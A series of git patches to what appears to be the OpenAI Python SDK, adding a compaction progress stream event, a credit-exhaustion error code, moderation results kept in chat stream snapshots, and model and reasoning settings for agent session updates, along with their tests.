+++ b/src/openai/types/beta/beta_response_stream_event.py
@@ -27,6 +27,7 @@
from .beta_response_mcp_call_in_progress_event import BetaResponseMcpCallInProgressEvent
from .beta_response_reasoning_text_delta_event import BetaResponseReasoningTextDeltaEvent
from .beta_response_audio_transcript_done_event import BetaResponseAudioTranscriptDoneEvent
+from .beta_response_compaction_compacting_event import BetaResponseCompactionCompactingEvent
from .beta_response_mcp_list_tools_failed_event import BetaResponseMcpListToolsFailedEvent
from .beta_response_audio_transcript_delta_event import BetaResponseAudioTranscriptDeltaEvent
from .beta_response_mcp_call_arguments_done_event import BetaResponseMcpCallArgumentsDoneEvent
@@ -76,6 +77,7 @@
BetaResponseCodeInterpreterCallCompletedEvent,
BetaResponseCodeInterpreterCallInProgressEvent,
BetaResponseCodeInterpreterCallInterpretingEvent,
+ BetaResponseCompactionCompactingEvent,
BetaResponseCompletedEvent,
BetaResponseContentPartAddedEvent,
BetaResponseContentPartDoneEvent,
diff --git a/src/openai/types/beta/beta_responses_server_event.py b/src/openai/types/beta/beta_responses_server_event.py
index 9c2a95f9af..eb980bc89c 100644
--- a/src/openai/types/beta/beta_responses_server_event.py
+++ b/src/openai/types/beta/beta_responses_server_event.py
@@ -32,6 +32,7 @@
from .beta_response_mcp_call_in_progress_event import BetaResponseMcpCallInProgressEvent
from .beta_response_reasoning_text_delta_event import BetaResponseReasoningTextDeltaEvent
from .beta_response_audio_transcript_done_event import BetaResponseAudioTranscriptDoneEvent
+from .beta_response_compaction_compacting_event import BetaResponseCompactionCompactingEvent
from .beta_response_mcp_list_tools_failed_event import BetaResponseMcpListToolsFailedEvent
from .beta_response_audio_transcript_delta_event import BetaResponseAudioTranscriptDeltaEvent
from .beta_response_mcp_call_arguments_done_event import BetaResponseMcpCallArgumentsDoneEvent
@@ -79,6 +80,7 @@
"BetaResponseCodeInterpreterCallWsCompleted",
"BetaResponseCodeInterpreterCallInWsProgress",
"BetaResponseCodeInterpreterCallWsInterpreting",
+ "BetaResponseCompactionWsCompacting",
"BetaResponseWsCompleted",
"BetaResponseContentPartWsAdded",
"BetaResponseContentPartWsDone",
@@ -234,6 +236,20 @@ class BetaResponseCodeInterpreterCallWsInterpreting(BetaResponseCodeInterpreterC
"""
+class BetaResponseCompactionWsCompacting(BetaResponseCompactionCompactingEvent):
+ """Emitted when new summary content is sampled for a compaction trigger.
+
+ Contains no summary content.
+ """
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
class BetaResponseWsCompleted(BetaResponseCompletedEvent):
"""Emitted when the model response is complete."""
@@ -867,6 +883,7 @@ class BetaResponseWsError(BaseModel):
BetaResponseCodeInterpreterCallWsCompleted,
BetaResponseCodeInterpreterCallInWsProgress,
BetaResponseCodeInterpreterCallWsInterpreting,
+ BetaResponseCompactionWsCompacting,
BetaResponseWsCompleted,
BetaResponseContentPartWsAdded,
BetaResponseContentPartWsDone,
diff --git a/src/openai/types/beta/session_turn_error.py b/src/openai/types/beta/session_turn_error.py
index b6c2b36fb8..93a738a583 100644
--- a/src/openai/types/beta/session_turn_error.py
+++ b/src/openai/types/beta/session_turn_error.py
@@ -14,6 +14,7 @@ class SessionTurnError(BaseModel):
"context_length_exceeded",
"session_budget_exceeded",
"usage_limit_exceeded",
+ "credit_balance_exhausted",
"rate_limit_exceeded",
"server_overloaded",
"cyber_policy",
@@ -34,6 +35,7 @@ class SessionTurnError(BaseModel):
- `session_budget_exceeded` - The session has reached its usage budget.
- `usage_limit_exceeded` - The organization has reached a usage, plan, or
billing limit.
+ - `credit_balance_exhausted` - The organization has no API credits remaining.
- `rate_limit_exceeded` - The request exceeds the available rate limit.
- `server_overloaded` - The model service is temporarily overloaded.
- `cyber_policy` - The request was rejected by a safety policy.
diff --git a/src/openai/types/responses/__init__.py b/src/openai/types/responses/__init__.py
index 1e2c61edbd..d54f73a9db 100644
--- a/src/openai/types/responses/__init__.py
+++ b/src/openai/types/responses/__init__.py
@@ -190,6 +190,7 @@
from .response_mcp_call_in_progress_event import ResponseMcpCallInProgressEvent as ResponseMcpCallInProgressEvent
from .response_reasoning_text_delta_event import ResponseReasoningTextDeltaEvent as ResponseReasoningTextDeltaEvent
from .response_audio_transcript_done_event import ResponseAudioTranscriptDoneEvent as ResponseAudioTranscriptDoneEvent
+from .response_compaction_compacting_event import ResponseCompactionCompactingEvent as ResponseCompactionCompactingEvent
from .response_compaction_item_param_param import ResponseCompactionItemParamParam as ResponseCompactionItemParamParam
from .response_file_search_tool_call_param import ResponseFileSearchToolCallParam as ResponseFileSearchToolCallParam
from .response_mcp_list_tools_failed_event import ResponseMcpListToolsFailedEvent as ResponseMcpListToolsFailedEvent
diff --git a/src/openai/types/responses/response_compaction_compacting_event.py b/src/openai/types/responses/response_compaction_compacting_event.py
new file mode 100644
index 0000000000..ac530a74b4
--- /dev/null
+++ b/src/openai/types/responses/response_compaction_compacting_event.py
@@ -0,0 +1,26 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["ResponseCompactionCompactingEvent"]
+
+
+class ResponseCompactionCompactingEvent(BaseModel):
+ """Emitted when new summary content is sampled for a compaction trigger.
+
+ Contains no summary content.
+ """
+
+ item_id: str
+ """The ID of the compaction output item."""
+
+ output_index: int
+ """The index of the compaction output item."""
+
+ sequence_number: int
+ """The sequence number of the event that was emitted."""
+
+ type: Literal["response.compaction.compacting"]
+ """The type of the event, always `response.compaction.compacting`."""
diff --git a/src/openai/types/responses/response_stream_event.py b/src/openai/types/responses/response_stream_event.py
index 87e541e52e..a396c9c443 100644
--- a/src/openai/types/responses/response_stream_event.py
+++ b/src/openai/types/responses/response_stream_event.py
@@ -27,6 +27,7 @@
from .response_mcp_call_in_progress_event import ResponseMcpCallInProgressEvent
from .response_reasoning_text_delta_event import ResponseReasoningTextDeltaEvent
from .response_audio_transcript_done_event import ResponseAudioTranscriptDoneEvent
+from .response_compaction_compacting_event import ResponseCompactionCompactingEvent
from .response_mcp_list_tools_failed_event import ResponseMcpListToolsFailedEvent
from .response_audio_transcript_delta_event import ResponseAudioTranscriptDeltaEvent
from .response_mcp_call_arguments_done_event import ResponseMcpCallArgumentsDoneEvent
@@ -76,6 +77,7 @@
ResponseCodeInterpreterCallCompletedEvent,
ResponseCodeInterpreterCallInProgressEvent,
ResponseCodeInterpreterCallInterpretingEvent,
+ ResponseCompactionCompactingEvent,
ResponseCompletedEvent,
ResponseContentPartAddedEvent,
ResponseContentPartDoneEvent,
diff --git a/src/openai/types/responses/responses_server_event.py b/src/openai/types/responses/responses_server_event.py
index 516e45e73b..e3faa0525d 100644
--- a/src/openai/types/responses/responses_server_event.py
+++ b/src/openai/types/responses/responses_server_event.py
@@ -30,6 +30,7 @@
from .response_mcp_call_in_progress_event import ResponseMcpCallInProgressEvent
from .response_reasoning_text_delta_event import ResponseReasoningTextDeltaEvent
from .response_audio_transcript_done_event import ResponseAudioTranscriptDoneEvent
+from .response_compaction_compacting_event import ResponseCompactionCompactingEvent
from .response_mcp_list_tools_failed_event import ResponseMcpListToolsFailedEvent
from .response_audio_transcript_delta_event import ResponseAudioTranscriptDeltaEvent
from .response_mcp_call_arguments_done_event import ResponseMcpCallArgumentsDoneEvent
@@ -77,6 +78,7 @@
"ResponseCodeInterpreterCallWsCompleted",
"ResponseCodeInterpreterCallInWsProgress",
"ResponseCodeInterpreterCallWsInterpreting",
+ "ResponseCompactionWsCompacting",
"ResponseWsCompleted",
"ResponseContentPartWsAdded",
"ResponseContentPartWsDone",
@@ -231,6 +233,20 @@ class ResponseCodeInterpreterCallWsInterpreting(ResponseCodeInterpreterCallInter
"""
+class ResponseCompactionWsCompacting(ResponseCompactionCompactingEvent):
+ """Emitted when new summary content is sampled for a compaction trigger.
+
+ Contains no summary content.
+ """
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
class ResponseWsCompleted(ResponseCompletedEvent):
"""Emitted when the model response is complete."""
@@ -854,6 +870,7 @@ class ResponseWsError(BaseModel):
ResponseCodeInterpreterCallWsCompleted,
ResponseCodeInterpreterCallInWsProgress,
ResponseCodeInterpreterCallWsInterpreting,
+ ResponseCompactionWsCompacting,
ResponseWsCompleted,
ResponseContentPartWsAdded,
ResponseContentPartWsDone,
diff --git a/tests/lib/responses/test_compaction_progress.py b/tests/lib/responses/test_compaction_progress.py
new file mode 100644
index 0000000000..742fe95d2f
--- /dev/null
+++ b/tests/lib/responses/test_compaction_progress.py
@@ -0,0 +1,96 @@
+from __future__ import annotations
+
+import json
+from unittest.mock import Mock, AsyncMock
+
+import pytest
+
+from openai._types import omit
+from openai._models import construct_type_unchecked
+from openai.types.beta import BetaResponseCompactionCompactingEvent
+from openai.types.responses import ResponseCreatedEvent, ResponseCompactionCompactingEvent
+from openai.resources.responses import responses
+from openai.resources.beta.responses import responses as beta_responses
+from openai.lib.streaming.responses._responses import ResponseStreamState
+
+from .test_null_output_items import _consume
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize("progress_count", [0, 2], ids=["absent", "repeated"])
+async def test_compaction_stream_preserves_progress_and_final_output(sync: bool, progress_count: int) -> None:
+ item = {"id": "cmp_test", "type": "compaction", "encrypted_content": ""}
+ final_item = {**item, "encrypted_content": "fake-encrypted-summary"}
+ events: list[dict[str, object]] = [
+ {"type": "response.created", "response": {"id": "resp_test", "output": []}},
+ {"type": "response.output_item.added", "output_index": 0, "item": item},
+ *[
+ {"type": "response.compaction.compacting", "item_id": "cmp_test", "output_index": 0}
+ for _ in range(progress_count)
+ ],
+ {"type": "response.output_item.done", "output_index": 0, "item": final_item},
+ # Recover the completed item from its lifecycle event, not a duplicate final payload.
+ {"type": "response.completed", "response": {"id": "resp_test", "status": "completed"}},
+ ]
+
+ emitted, final = await _consume(sync, events)
+
+ assert [event.type for event in emitted] == [event["type"] for event in events]
+ progress = [event for event in emitted if event.type == "response.compaction.compacting"]
+ assert len(progress) == progress_count
+ for index, event in enumerate(progress, start=2):
+ assert isinstance(event, ResponseCompactionCompactingEvent)
+ assert (event.item_id, event.output_index, event.sequence_number) == ("cmp_test", 0, index)
+ assert len(final.output) == 1
+ assert final.output[0].to_dict() == final_item
+
+
+def test_compaction_progress_leaves_accumulated_snapshot_unchanged() -> None:
+ state: ResponseStreamState[None] = ResponseStreamState(text_format=omit, input_tools=[])
+ created = construct_type_unchecked(
+ type_=ResponseCreatedEvent,
+ value={
+ "type": "response.created",
+ "sequence_number": 0,
+ "response": {
+ "id": "resp_test",
+ "output": [{"id": "cmp_test", "type": "compaction", "encrypted_content": ""}],
+ },
+ },
+ )
+ state.handle_event(created)
+ snapshot = state.accumulate_event(created)
+ before = snapshot.to_dict()
+ for sequence_number in (1, 2):
+ progress = ResponseCompactionCompactingEvent(
+ type="response.compaction.compacting", item_id="cmp_test", output_index=0, sequence_number=sequence_number
+ )
+ assert state.handle_event(progress) == [progress]
+ assert state.accumulate_event(progress) is snapshot
+ assert snapshot.to_dict() == before
+
+
+@pytest.mark.parametrize("beta", [False, True], ids=["stable", "beta"])
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+async def test_websocket_receives_typed_compaction_progress(beta: bool, sync: bool) -> None:
+ api = beta_responses if beta else responses
+ frames: list[dict[str, object]] = [
+ {"type": "response.compaction.compacting", "item_id": "cmp_test", "output_index": 0, "sequence_number": index}
+ for index in (1, 2)
+ ]
+ if beta:
+ frames[1]["agent"] = {"agent_name": "test-agent"}
+ socket = Mock()
+ socket.recv = (Mock if sync else AsyncMock)(side_effect=[json.dumps(frame).encode() for frame in frames])
+ if sync:
+ connection = api.ResponsesConnection(socket)
+ received = [connection.recv(), connection.recv()]
+ else:
+ async_connection = api.AsyncResponsesConnection(socket)
+ received = [await async_connection.recv(), await async_connection.recv()]
+
+ for event, frame in zip(received, frames, strict=True):
+ assert isinstance(event, BetaResponseCompactionCompactingEvent if beta else ResponseCompactionCompactingEvent)
+ assert event.type == "response.compaction.compacting"
+ assert (event.item_id, event.output_index, event.sequence_number) == ("cmp_test", 0, frame["sequence_number"])
+ assert event.to_dict() == frame
From b77076d23b6f3e34453b0fadd8cd2a001627e365 Mon Sep 17 00:00:00 2001
From: Marcus Wood
Date: Wed, 16 Sep 2026 16:01:03 +0000
Subject: [PATCH 156/341] fix: preserve chat stream moderation results (#3864)
Preserves moderation results in chat stream snapshots and final
completions, including reports delivered after content. Later omitted or
null fields retain the last report; unmoderated streams remain
unchanged.
Validation: 324 tests passed (14 skipped), plus 19 focused tests with
Pydantic v1. Ruff, mypy, changed-file formatting, and wheel/sdist builds
pass.
---
src/openai/lib/streaming/chat/_completions.py | 6 +-
tests/lib/chat/test_stream_moderation.py | 123 ++++++++++++++++++
2 files changed, 128 insertions(+), 1 deletion(-)
create mode 100644 tests/lib/chat/test_stream_moderation.py
diff --git a/src/openai/lib/streaming/chat/_completions.py b/src/openai/lib/streaming/chat/_completions.py
index 28c7d02a9f..3476314f7f 100644
--- a/src/openai/lib/streaming/chat/_completions.py
+++ b/src/openai/lib/streaming/chat/_completions.py
@@ -38,7 +38,7 @@
from ...._streaming import Stream, AsyncStream
from ....types.chat import ChatCompletionChunk, ParsedChatCompletion, ChatCompletionToolUnionParam
from ...._exceptions import LengthFinishReasonError, ContentFilterFinishReasonError
-from ....types.chat.chat_completion import ChoiceLogprobs
+from ....types.chat.chat_completion import Moderation, ChoiceLogprobs
from ....types.chat.chat_completion_chunk import Choice as ChoiceChunk
from ....types.chat.completion_create_params import ResponseFormat as ResponseFormatParam
@@ -487,6 +487,10 @@ def _accumulate_chunk(self, chunk: ChatCompletionChunk) -> ParsedChatCompletionS
completion_snapshot.usage = chunk.usage
completion_snapshot.system_fingerprint = chunk.system_fingerprint
+ if chunk.moderation is not None:
+ completion_snapshot.moderation = cast(
+ Moderation, construct_type(type_=Moderation, value=chunk.moderation.to_dict())
+ )
return completion_snapshot
diff --git a/tests/lib/chat/test_stream_moderation.py b/tests/lib/chat/test_stream_moderation.py
new file mode 100644
index 0000000000..77ed05e8a1
--- /dev/null
+++ b/tests/lib/chat/test_stream_moderation.py
@@ -0,0 +1,123 @@
+from __future__ import annotations
+
+import json
+from typing import Any
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.respx2 import MockRouter
+from openai.lib.streaming.chat import ChatCompletionStreamEvent
+from openai.types.chat.chat_completion import Moderation
+
+from ...conftest import base_url
+
+
+def moderation_result(*, flagged: bool) -> dict[str, Any]:
+ return {
+ "type": "moderation_results",
+ "model": "test-moderation",
+ "results": [
+ {
+ "type": "moderation_result",
+ "model": "test-moderation",
+ "flagged": flagged,
+ "categories": {"violence": flagged},
+ "category_scores": {"violence": 0.75 if flagged else 0.0},
+ "category_applied_input_types": {"violence": ["text"]},
+ }
+ ],
+ }
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize("scenario", ["flagged", "error", "input_error", "initial", "replacement", "unmoderated"])
+@pytest.mark.respx2(base_url=base_url)
+async def test_stream_moderation(
+ sync: bool,
+ scenario: str,
+ client: OpenAI,
+ async_client: AsyncOpenAI,
+ respx2_mock: MockRouter,
+) -> None:
+ success = {"input": moderation_result(flagged=False), "output": moderation_result(flagged=True)}
+ error = {
+ "input": moderation_result(flagged=True),
+ "output": {"type": "error", "code": "test_error", "message": "Synthetic moderation error"},
+ }
+ if scenario == "input_error":
+ error = {"input": error["output"], "output": moderation_result(flagged=False)}
+ initial = error if scenario in {"initial", "replacement"} else None
+ final_report = (
+ error if scenario in {"error", "input_error"} else success if scenario in {"flagged", "replacement"} else None
+ )
+ expected = final_report or initial
+ choices: list[dict[str, Any]] = [
+ {"index": 0, "delta": {"role": "assistant", "content": "o"}, "finish_reason": None},
+ {"index": 0, "delta": {"content": "k"}, "finish_reason": "stop"},
+ ]
+ chunks: list[dict[str, Any]] = [
+ {
+ "id": "chatcmpl-test",
+ "object": "chat.completion.chunk",
+ "created": 0,
+ "model": "test-model",
+ "choices": [choices[index]] if index < 2 else [],
+ }
+ for index in range(4)
+ ]
+ if initial is not None:
+ chunks[0]["moderation"] = initial
+ if final_report is not None:
+ chunks[2]["moderation"] = final_report
+ chunks[3]["moderation"] = None
+ chunks[3]["usage"] = {"prompt_tokens": 1, "completion_tokens": 1, "total_tokens": 2}
+ respx2_mock.post("/chat/completions").mock(
+ return_value=httpx2.Response(
+ 200,
+ headers={"content-type": "text/event-stream"},
+ content="".join(f"data: {json.dumps(chunk)}\n\n" for chunk in chunks) + "data: [DONE]\n\n",
+ )
+ )
+
+ event_types: list[str] = []
+ raw_reports: list[Any] = []
+ snapshots: list[Any] = []
+
+ def record(event: ChatCompletionStreamEvent[Any]) -> None:
+ event_types.append(event.type)
+ if event.type == "chunk":
+ raw_reports.append(event.chunk.moderation.to_dict() if event.chunk.moderation is not None else None)
+ moderation = event.snapshot.moderation
+ if moderation is not None:
+ assert isinstance(moderation, Moderation)
+ snapshots.append(moderation.to_dict() if moderation is not None else None)
+
+ if sync:
+ raw_chunks = list(client.chat.completions.create(model="test-model", messages=[], stream=True))
+ with client.chat.completions.stream(model="test-model", messages=[]) as stream:
+ for event in stream:
+ record(event)
+ completion = stream.get_final_completion()
+ else:
+ raw_stream = await async_client.chat.completions.create(model="test-model", messages=[], stream=True)
+ raw_chunks = [chunk async for chunk in raw_stream]
+ async with async_client.chat.completions.stream(model="test-model", messages=[]) as async_stream:
+ async for event in async_stream:
+ record(event)
+ completion = await async_stream.get_final_completion()
+
+ assert raw_reports == [initial, None, final_report, None]
+ assert raw_reports == [chunk.moderation.to_dict() if chunk.moderation is not None else None for chunk in raw_chunks]
+ assert snapshots == [initial, initial, expected, expected]
+ if expected is None:
+ assert completion.moderation is None
+ else:
+ assert isinstance(completion.moderation, Moderation)
+ assert completion.moderation.to_dict() == expected
+ assert completion.choices[0].message.content == "ok"
+ assert completion.choices[0].finish_reason == "stop"
+ assert completion.usage is not None
+ assert completion.usage.total_tokens == 2
+ assert event_types == ["chunk", "content.delta", "chunk", "content.delta", "content.done", "chunk", "chunk"]
From 4b1581771ea97c870187f6ddfc3dbc87ff4fa443 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Thu, 17 Sep 2026 15:46:44 +0000
Subject: [PATCH 157/341] feat(api): add agent session model settings (#3882)
## Summary
Adds optional model, reasoning, and service-tier settings to agent
session updates.
## Changes
- Allow session updates to select an agent model.
- Support reasoning effort and service-tier overrides, including
explicit reset values.
---
.castiron.stats.yml | 12 ++--
api_reference/openapi.transformed.yml | 69 ++++++++++++++-----
.../beta/agents/sessions/sessions.py | 32 +++++++--
.../beta/agents/session_update_params.py | 34 ++++++++-
.../beta/agents/test_sessions.py | 10 +++
tests/test_agent_session_update.py | 56 +++++++++++++++
6 files changed, 180 insertions(+), 33 deletions(-)
create mode 100644 tests/test_agent_session_update.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 41ad782b11..031c73da36 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 1dba08ed-2ec0-4f9d-b80c-cd64e06d3d6b
-openapi_spec_hash: 01a80628980df0e3afb067afc83a4102
-openapi_transformed_spec_hash: 45b725ed6d2d50274ed7028e99f92a41
+generation_id: 74a960df-99b9-4c71-9ac9-0d187889b488
+openapi_spec_hash: 6128bd8cf634836dd6e219174070539d
+openapi_transformed_spec_hash: d4e61eb3d6c7d23f3ea2cd989d3a3b79
config_hash: abfd506c4a4bdd94cae1635a850572d7
-codegen_sha: 97860312ce35ae326842b8e396b5d803e7ed477b
-codegen_hash: 82d5f99caa7d2c6c65439f46cfe2f340df988cb5f741a8615c0f3e7eeeba778f
-public_codegen_sha: a214fd492bccb42ef14b5c45ce1e095c08fd4153
+codegen_sha: bbe54f26862c58386e6af586826f300a0d90b9ae
+codegen_hash: f633ed564751f71f78c48995933e35d33608098dc2101d8e8228b752d58e8e52
+public_codegen_sha: b6918940ed537495c49df7616c524a5b80111972
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index e31f7a0e1c..366b2d4284 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -25246,7 +25246,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -25319,7 +25319,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -25417,7 +25417,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -25516,7 +25516,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -25597,7 +25597,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -25703,7 +25703,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -26428,7 +26428,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -26491,7 +26491,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -26559,7 +26559,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -26591,7 +26591,7 @@ paths:
post:
operationId: updateAgentSession
summary: Update an agent session
- description: Updates session metadata. Omitted fields are unchanged. See [managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
+ description: Updates session metadata, model, reasoning effort, or service tier. Model settings apply to subsequent turns. Omitted fields are unchanged. See [managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
tags:
- Agents
parameters:
@@ -26628,7 +26628,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -26692,7 +26692,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -26795,7 +26795,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -26868,7 +26868,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -26940,7 +26940,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -27014,7 +27014,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -27079,7 +27079,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -27155,7 +27155,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -27245,7 +27245,7 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
'403':
- description: The API key lacks the required Responses permission.
+ description: The API key lacks the required permission.
content:
application/json:
schema:
@@ -79282,9 +79282,40 @@ components:
- $ref: '#/components/schemas/SessionEventAgentSessionTurnReasoningSummaryPartDone'
- $ref: '#/components/schemas/SessionEventAgentSessionTurnReasoningSummaryTextDelta'
- $ref: '#/components/schemas/SessionEventAgentSessionTurnReasoningSummaryTextDone'
+ UpdateSessionReasoningParam:
+ type: object
+ properties:
+ effort:
+ anyOf:
+ - $ref: '#/components/schemas/ReasoningEffortParam'
+ - type: 'null'
+ description: Omit to keep the current effort. Null selects the model's default effort.
+ additionalProperties: false
+ description: Reasoning effort for subsequent turns. The reasoning summary stays unchanged.
+ UpdateSessionAgentParam:
+ type: object
+ properties:
+ model:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The model for subsequent turns. Omit to keep the current model.
+ reasoning:
+ $ref: '#/components/schemas/UpdateSessionReasoningParam'
+ description: Reasoning settings to update. Omit to keep the current effort.
+ service_tier:
+ anyOf:
+ - $ref: '#/components/schemas/ServiceTierParam'
+ - type: 'null'
+ description: Omit to keep the current tier. Null resets it to auto.
+ additionalProperties: false
+ description: Model settings that can change after session creation.
UpdateAgentSessionParams:
type: object
properties:
+ agent:
+ $ref: '#/components/schemas/UpdateSessionAgentParam'
+ description: Model settings for subsequent turns. Omitted fields stay unchanged.
metadata:
type:
- object
diff --git a/src/openai/resources/beta/agents/sessions/sessions.py b/src/openai/resources/beta/agents/sessions/sessions.py
index d8ca960363..e80eccb927 100644
--- a/src/openai/resources/beta/agents/sessions/sessions.py
+++ b/src/openai/resources/beta/agents/sessions/sessions.py
@@ -377,6 +377,7 @@ def update(
self,
session_id: str,
*,
+ agent: session_update_params.Agent | Omit = omit,
metadata: Optional[Dict[str, str]] | Omit = omit,
# Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
# The extra values given here take precedence over values defined on the client or passed to this method.
@@ -385,12 +386,15 @@ def update(
extra_body: Body | None = None,
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AgentSession:
- """Updates session metadata.
+ """Updates session metadata, model, reasoning effort, or service tier.
- Omitted fields are unchanged. See
+ Model
+ settings apply to subsequent turns. Omitted fields are unchanged. See
[managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
Args:
+ agent: Model settings for subsequent turns. Omitted fields stay unchanged.
+
metadata: Replaces all metadata. Omit to leave unchanged, or pass null or {} to clear it.
Up to 16 string key-value pairs, with keys up to 64 and values up to 512
characters.
@@ -408,7 +412,13 @@ def update(
extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
return self._post(
path_template("/agents/sessions/{session_id}", session_id=session_id),
- body=maybe_transform({"metadata": metadata}, session_update_params.SessionUpdateParams),
+ body=maybe_transform(
+ {
+ "agent": agent,
+ "metadata": metadata,
+ },
+ session_update_params.SessionUpdateParams,
+ ),
options=make_request_options(
extra_headers=extra_headers,
extra_query=extra_query,
@@ -834,6 +844,7 @@ async def update(
self,
session_id: str,
*,
+ agent: session_update_params.Agent | Omit = omit,
metadata: Optional[Dict[str, str]] | Omit = omit,
# Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
# The extra values given here take precedence over values defined on the client or passed to this method.
@@ -842,12 +853,15 @@ async def update(
extra_body: Body | None = None,
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AgentSession:
- """Updates session metadata.
+ """Updates session metadata, model, reasoning effort, or service tier.
- Omitted fields are unchanged. See
+ Model
+ settings apply to subsequent turns. Omitted fields are unchanged. See
[managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
Args:
+ agent: Model settings for subsequent turns. Omitted fields stay unchanged.
+
metadata: Replaces all metadata. Omit to leave unchanged, or pass null or {} to clear it.
Up to 16 string key-value pairs, with keys up to 64 and values up to 512
characters.
@@ -865,7 +879,13 @@ async def update(
extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
return await self._post(
path_template("/agents/sessions/{session_id}", session_id=session_id),
- body=await async_maybe_transform({"metadata": metadata}, session_update_params.SessionUpdateParams),
+ body=await async_maybe_transform(
+ {
+ "agent": agent,
+ "metadata": metadata,
+ },
+ session_update_params.SessionUpdateParams,
+ ),
options=make_request_options(
extra_headers=extra_headers,
extra_query=extra_query,
diff --git a/src/openai/types/beta/agents/session_update_params.py b/src/openai/types/beta/agents/session_update_params.py
index 3135a94271..170d73ba91 100644
--- a/src/openai/types/beta/agents/session_update_params.py
+++ b/src/openai/types/beta/agents/session_update_params.py
@@ -3,15 +3,45 @@
from __future__ import annotations
from typing import Dict, Optional
-from typing_extensions import TypedDict
+from typing_extensions import Literal, TypedDict
-__all__ = ["SessionUpdateParams"]
+__all__ = ["SessionUpdateParams", "Agent", "AgentReasoning"]
class SessionUpdateParams(TypedDict, total=False):
+ agent: Agent
+ """Model settings for subsequent turns. Omitted fields stay unchanged."""
+
metadata: Optional[Dict[str, str]]
"""Replaces all metadata.
Omit to leave unchanged, or pass null or {} to clear it. Up to 16 string
key-value pairs, with keys up to 64 and values up to 512 characters.
"""
+
+
+class AgentReasoning(TypedDict, total=False):
+ """Reasoning settings to update. Omit to keep the current effort."""
+
+ effort: Optional[Literal["none", "minimal", "low", "medium", "high", "xhigh", "max"]]
+ """The amount of reasoning effort the model should use."""
+
+
